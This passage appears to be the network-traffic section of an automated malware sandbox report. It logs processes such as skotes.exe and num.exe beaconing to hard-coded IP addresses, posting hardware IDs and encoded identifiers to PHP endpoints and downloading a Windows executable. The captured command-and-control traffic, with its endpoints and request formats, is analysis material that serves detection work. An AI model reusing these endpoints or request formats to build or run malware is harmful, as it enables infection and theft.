Nov 1, 2024 05:03:05.319570065 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:03:05 GMT Content-Type: application/octet-stream Content-Length: 1911296 Last-Modified: Fri, 01 Nov 2024 03:42:54 GMT Connection: keep-alive ETag: "67244e3e-1d2a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@ L@WkDKK @.rsrcD@.idata @ +@edfilslq1@gprpjvtrK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	59889	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:53.411334991 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:02:54.320986986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	59890	185.215.113.206	80	5064	C:\Users\user\AppData\Local\Temp\1003088001\num.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:55.071787119 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:02:55.975884914 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:02:55.979839087 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="build"tale------JKJECBAAAFHIIEBFCBKF--
Nov 1, 2024 05:02:56.266112089 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	59891	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:56.303594112 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:02:57.208983898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	59896	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:58.932212114 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:02:59.852412939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	59897	185.215.113.206	80	7292	C:\Users\user\AppData\Local\Temp\1003088001\num.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:59.019330978 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:02:59.935489893 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:02:59.937956095 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 2d 2d 0d 0a Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="build"tale------GCGDHJDAFHJEBFIDAFHI--
Nov 1, 2024 05:03:00.234589100 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:03:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	59900	34.107.221.82	80	7648	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:01.487436056 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:03:02.094429970 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68223 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	59903	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:01.810606956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:03:02.620914936 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	59913	34.107.221.82	80	7648	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:02.629523039 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:03:03.235012054 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 45218 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	59914	34.107.221.82	80	7648	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:02.629635096 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:03:03.222912073 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68224 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:03:03.289504051 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:03:03.413585901 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68224 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:03:03.994839907 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:03:04.118875980 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68225 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:03:04.539349079 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:03:04.663863897 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68225 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:03:05.271970987 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:03:05.396018982 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68226 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:03:15.444492102 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:03:25.529181004 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	59916	34.107.221.82	80	7648	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:03.285438061 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	59919	34.107.221.82	80	7648	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:03.443692923 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:03:04.032536983 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 45218 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:03:04.329658985 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:03:04.454304934 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 45219 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:03:05.055649996 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:03:05.180116892 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 45220 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:03:05.419331074 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:03:05.545237064 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 45220 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:03:15.625884056 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:03:25.730443954 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	59921	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:04.536508083 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:03:05.424464941 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	59924	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:07.150412083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:03:08.050326109 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	59926	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:14.921915054 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:03:15.808609009 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:03:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:03:15.888962984 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBKJKFIECAAAKFBFBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------HJDBKJKFIECAAAKFBFBFContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------HJDBKJKFIECAAAKFBFBFContent-Disposition: form-data; name="build"tale------HJDBKJKFIECAAAKFBFBF--
Nov 1, 2024 05:03:16.168732882 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:03:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

